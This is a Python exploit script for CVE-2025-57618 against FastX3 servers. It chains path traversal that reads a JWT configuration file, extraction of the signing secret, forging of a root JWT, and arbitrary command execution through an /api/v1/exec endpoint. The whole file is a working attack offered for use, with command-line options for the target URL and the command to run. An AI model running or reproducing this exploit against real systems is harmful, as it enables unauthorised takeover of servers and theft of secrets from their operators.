# CVE-2025-57618 - FastX3 Path Traversal to RCE Exploit
# Exploit chain: Path Traversal -> JWT Secret Disclosure -> JWT Forgery -> RCE
import requests
import jwt
import json
import argparse
from datetime import datetime, timedelta
TARGET_URL = "https://target-fastx3-server"
CONFIG_FILE_PATH = "../../../../etc/starnet/fastx3/config.json" # Path traversal payload
def exploit_path_traversal(target_url, file_path):
"""Step 1: Exploit path traversal to read arbitrary files"""
# Craft path traversal URL to read JWT configuration
url = f"{target_url}/download?file={file_path}"
print(f"[*] Attempting path traversal: {url}")
response = requests.get(url, verify=False)
if response.status_code == 200:
print(f"[+] File content retrieved successfully")
return response.text
else:
print(f"[-] Failed with status code: {response.status_code}")
return None
def extract_jwt_secret(config_content):
"""Step 2: Extract JWT signing secret from configuration"""
try:
config = json.loads(config_content)
secret_key = config.get("jwt_secret", "")
jti_list = config.get("jti_list", [])
print(f"[+] JWT Secret: {secret_key}")
print(f"[+] JTI List: {jti_list}")
return secret_key, jti_list
except json.JSONDecodeError:
print("[-] Failed to parse config file")
return None, None
def forge_jwt_token(secret_key, username="root"):
"""Step 3: Forge a valid JWT token impersonating root user"""
payload = {
"sub": username,
"name": username,
"iat": datetime.utcnow(),
"exp": datetime.utcnow() + timedelta(hours=24),
"jti": "forged-jti-token-001"
}
# Sign JWT with the leaked secret key
token = jwt.encode(payload, secret_key, algorithm="HS256")
print(f"[+] Forged JWT token: {token}")
return token
def execute_rce(target_url, token, command):
"""Step 4: Use forged JWT to execute commands via privileged endpoint"""
headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
}
payload = {
"command": command,
"args": ""
}
# Use authenticated privileged endpoint for RCE
url = f"{target_url}/api/v1/exec"
print(f"[*] Sending RCE payload to: {url}")
response = requests.post(url, headers=headers, json=payload, verify=False)
if response.status_code == 200:
print(f"[+] RCE successful! Output: {response.text}")
return response.text
else:
print(f"[-] RCE failed with status: {response.status_code}")
return None
def main():
parser = argparse.ArgumentParser(description="CVE-2025-57618 FastX3 Exploit")
parser.add_argument("--target", required=True, help="Target FastX3 server URL")
parser.add_argument("--command", default="id", help="Command to execute")
args = parser.parse_args()
# Step 1: Path traversal to read config
config_content = exploit_path_traversal(args.target, CONFIG_FILE_PATH)
if not config_content:
return
# Step 2: Extract JWT secret
secret_key, jti_list = extract_jwt_secret(config_content)
if not secret_key:
return
# Step 3: Forge JWT token
forged_token = forge_jwt_token(secret_key)
# Step 4: Execute RCE
execute_rce(args.target, forged_token, args.command)
if __name__ == "__main__":
main()